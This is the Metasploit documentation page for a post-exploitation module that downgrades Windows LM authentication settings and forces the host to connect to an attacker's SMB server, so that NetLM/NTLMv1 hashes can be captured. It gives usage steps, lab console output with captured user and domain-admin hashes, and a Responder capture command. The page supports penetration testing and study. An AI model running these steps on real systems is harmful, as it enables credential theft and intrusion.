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GitHub Repository: rapid7/metasploit-framework
Path: blob/master/documentation/modules/post/windows/gather/netlm_downgrade.md
Views: 11789

Vulnerable Application

This module changes the system LmCompatibilityLevel registry value to enable sending LM challenge hashes and initiates a SMB connection to the host specified in the SMBHOST module option. If an SMB server is listening, it will receive the NetLM hashes for the session user.

Verification Steps

  1. Start msfconsole

  2. Get a session

  3. Do: use post/windows/gather/netlm_downgrade

  4. Do: set SESSION <session id>

  5. Start a SMB server to capture hashes

  6. Do: set SMBHOST <SMB server IP address>

  7. Do: run

Options

SMBHOST

IP address of SMB server to capture hashes.

Scenarios

Windows 11 Pro 10.0.22000 Build 22000 x64

msf6 > use auxiliary/server/capture/smb msf6 auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 2. [*] Server is running. Listening on 0.0.0.0:445 [*] Server started. msf6 auxiliary(server/capture/smb) > use post/windows/gather/netlm_downgrade msf6 post(windows/gather/netlm_downgrade) > set session 1 session => 1 msf6 post(windows/gather/netlm_downgrade) > run [*] Running module against WINDEV2110EVAL (192.168.200.140) [*] NetLM authentication is disabled (LmCompatibilityLevel: nil). Enabling ... [+] NetLM authentication is enabled [*] Establishing SMB connection to 192.168.200.130 [+] Received SMB connection on Auth Capture Server! [SMB] NTLMv1-SSP Client : 192.168.200.140 [SMB] NTLMv1-SSP Username : WINDEV2110EVAL\User [SMB] NTLMv1-SSP Hash : User::WINDEV2110EVAL:414a0d26193abde800000000000000000000000000000000:44d90728eeb025c1dcf4730a0282422614cbc8e590e99a11:b0e33cde858f04d5 [+] SMB server 192.168.200.130 should now have NetLM hashes [*] Restoring original LM compatibility level (LmCompatibilityLevel: nil) [*] Post module execution completed msf6 post(windows/gather/netlm_downgrade) >

Windows Server 2008 SP1 (x64)

msf6 > use auxiliary/server/capture/smb msf6 auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 2. [*] Server is running. Listening on 0.0.0.0:445 [*] Server started. msf6 auxiliary(server/capture/smb) > use post/windows/gather/netlm_downgrade msf6 post(windows/gather/netlm_downgrade) > set smbhost 192.168.200.130 smbhost => 192.168.200.130 msf6 post(windows/gather/netlm_downgrade) > set session 1 session => 1 msf6 post(windows/gather/netlm_downgrade) > run [*] Running module against WIN-17B09RRRJTG (192.168.200.218) [*] NetLM authentication is disabled (LmCompatibilityLevel: 3). Enabling ... [+] NetLM authentication is enabled (LmCompatibilityLevel: 0) [*] Establishing SMB connection to 192.168.200.130 [+] Received SMB connection on Auth Capture Server! [SMB] NTLMv1-SSP Client : 192.168.200.218 [SMB] NTLMv1-SSP Username : CORP\corpadmin [SMB] NTLMv1-SSP Hash : corpadmin::CORP:de7f490cc7f7f8a700000000000000000000000000000000:8a34755c17fdbd4f1d7338b5ed7617e2000f071f05869f2e:c30fd80a6709381b [+] SMB server 192.168.200.130 should now have NetLM hashes [*] Restoring original LM compatibility level (LmCompatibilityLevel: 3) [*] Post module execution completed msf6 post(windows/gather/netlm_downgrade) >

Alternatively, the SMB connection can captured using Responder:

$ sudo responder -A -I eth0 --lm -v [...] [SMB] NTLMv1 Client : 192.168.200.218 [SMB] NTLMv1 Username : CORP\corpadmin [SMB] NTLMv1 Hash : corpadmin::CORP:3FFCF0AED51EF9784B17BF71859355CA0FF968A42BF925D4:3FFCF0AED51EF9784B17BF71859355CA0FF968A42BF925D4:07168acbca2d7e8e